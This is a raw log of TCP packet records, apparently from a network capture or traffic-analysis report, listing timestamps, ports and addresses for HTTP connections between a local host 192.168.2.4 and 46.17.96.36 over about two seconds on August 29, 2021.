Aug 29, 2021 22:27:47.573227882 CEST	80	49841	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.616208076 CEST	80	49841	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.616333008 CEST	49841	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.709789991 CEST	49841	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.711720943 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.731700897 CEST	49843	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.744921923 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.744941950 CEST	80	49841	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.745110035 CEST	49841	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.745114088 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.749437094 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.749552965 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.749747038 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.749875069 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.764470100 CEST	80	49843	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.764661074 CEST	49843	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.769835949 CEST	49843	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.782754898 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.782780886 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.782866955 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.782880068 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.782891989 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.783030033 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.783063889 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.783078909 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.783181906 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.783225060 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.783268929 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.783422947 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.802479982 CEST	80	49843	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816430092 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816488028 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816513062 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816566944 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816589117 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816611052 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816660881 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.816721916 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.816726923 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.816751003 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.817795038 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.845710993 CEST	80	49843	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.846076965 CEST	49843	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.850003958 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850059986 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850096941 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.850178003 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.850298882 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850323915 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850410938 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.850419998 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850656033 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850788116 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.850814104 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.851033926 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.883575916 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.883618116 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.883650064 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.883683920 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.883784056 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.883974075 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.884143114 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.884181023 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.884253025 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.884490013 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.923269033 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.923388004 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.949415922 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.949700117 CEST	49843	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.950790882 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.982283115 CEST	80	49843	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.982404947 CEST	49843	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.982558966 CEST	80	49842	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.982686043 CEST	49842	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.985645056 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:47.985831022 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:47.991497040 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.026654959 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.077568054 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.077701092 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.179789066 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.179876089 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.180069923 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.180527925 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.203715086 CEST	49845	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.214757919 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.214778900 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.214916945 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.214982986 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.215001106 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.215204954 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.215234041 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.215262890 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.215269089 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.215305090 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.215421915 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.215468884 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.236855030 CEST	80	49845	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.237301111 CEST	49845	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.238157988 CEST	49845	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.250181913 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250221014 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250236988 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250390053 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250401974 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.250418901 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250557899 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250571012 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.250591040 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250617981 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.250669956 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.250689030 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.250698090 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.250813961 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.251012087 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.271836042 CEST	80	49845	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286048889 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286087036 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286174059 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286184072 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.286231041 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.286247015 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.286365032 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286482096 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286595106 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286700964 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286770105 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286793947 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286817074 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.286914110 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.287489891 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.287516117 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.287538052 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.287568092 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.314148903 CEST	80	49845	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.314291000 CEST	49845	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.322138071 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.322163105 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.322418928 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.322588921 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.322623968 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.322649002 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.322674036 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.361004114 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.363333941 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.419666052 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.419990063 CEST	49845	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.421049118 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.455034018 CEST	80	49845	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.455071926 CEST	80	49844	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.455337048 CEST	49844	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.455411911 CEST	49845	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.455527067 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.455651999 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.456253052 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.491085052 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.532093048 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.532226086 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.570302963 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.570383072 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.570595980 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.570708990 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.605168104 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605221033 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605248928 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605267048 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605292082 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605310917 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605334044 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605350971 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.605433941 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.605484009 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.605494976 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.639462948 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.639498949 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.639518023 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.639698029 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.639874935 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.639900923 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.640034914 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.640268087 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.640295982 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.640322924 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.643316031 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.643383980 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.653695107 CEST	49847	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.673393965 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.673441887 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.673549891 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.673589945 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.673670053 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.673672915 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.673914909 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.673979044 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.674022913 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.674344063 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.674379110 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.674527884 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.674632072 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.675012112 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.676955938 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.676984072 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.677028894 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.677148104 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.677175045 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.688915968 CEST	80	49847	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.689080954 CEST	49847	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.691605091 CEST	49847	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.707473993 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.707503080 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.707643986 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.707674026 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.707696915 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.708324909 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.726890087 CEST	80	49847	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.749947071 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.750121117 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.786235094 CEST	80	49847	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.786370039 CEST	49847	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.905950069 CEST	49847	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.906233072 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.907728910 CEST	49848	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.939826965 CEST	80	49846	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.939953089 CEST	49846	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.941272020 CEST	80	49847	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.941306114 CEST	80	49848	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.941363096 CEST	49847	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.941426039 CEST	49848	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.944394112 CEST	49848	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:48.978177071 CEST	80	49848	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:48.979461908 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.011658907 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.012181997 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.015767097 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.015853882 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.016001940 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.016089916 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.021600008 CEST	80	49848	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.021725893 CEST	49848	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.047774076 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.047822952 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.047847986 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.047878981 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.047972918 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.048038960 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.048787117 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.048887968 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.048964977 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.048995972 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.049113035 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.079989910 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080014944 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080024004 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080166101 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.080219030 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.080699921 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080792904 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.080796957 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080811977 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080826044 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.080902100 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.080935955 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.080975056 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.081063986 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.112055063 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112092972 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112154007 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112178087 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112231016 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.112313032 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.112466097 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112574100 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112596989 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112792969 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.112821102 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.113013983 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.113044977 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.113159895 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.140682936 CEST	49848	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.142098904 CEST	49850	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.144023895 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.144047022 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.146342039 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.146363974 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.146374941 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.146408081 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.146423101 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.146436930 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.174289942 CEST	80	49848	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.174807072 CEST	49848	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.177207947 CEST	80	49850	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.177520037 CEST	49850	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.178303003 CEST	49850	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.179480076 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.180238008 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.213838100 CEST	80	49850	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.251554966 CEST	80	49850	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.252239943 CEST	49850	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.359306097 CEST	49850	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.359946966 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.361855030 CEST	49851	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.390588045 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.392509937 CEST	80	49849	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.392611027 CEST	49849	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.394963980 CEST	80	49851	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.395733118 CEST	80	49850	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.395904064 CEST	49850	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.395910978 CEST	49851	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.396509886 CEST	49851	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.426034927 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.426163912 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.427496910 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.427654028 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.427921057 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.428134918 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.430915117 CEST	80	49851	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.462954044 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463011980 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463051081 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463083982 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463109016 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463165998 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463176012 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.463251114 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.463284016 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.463526011 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.463598967 CEST	49852	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.468354940 CEST	80	49851	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.468580008 CEST	49851	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:49.499902964 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.499931097 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.499947071 CEST	80	49852	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:49.499970913 CEST	80	49852	46.17.96.36	192.168.2.4
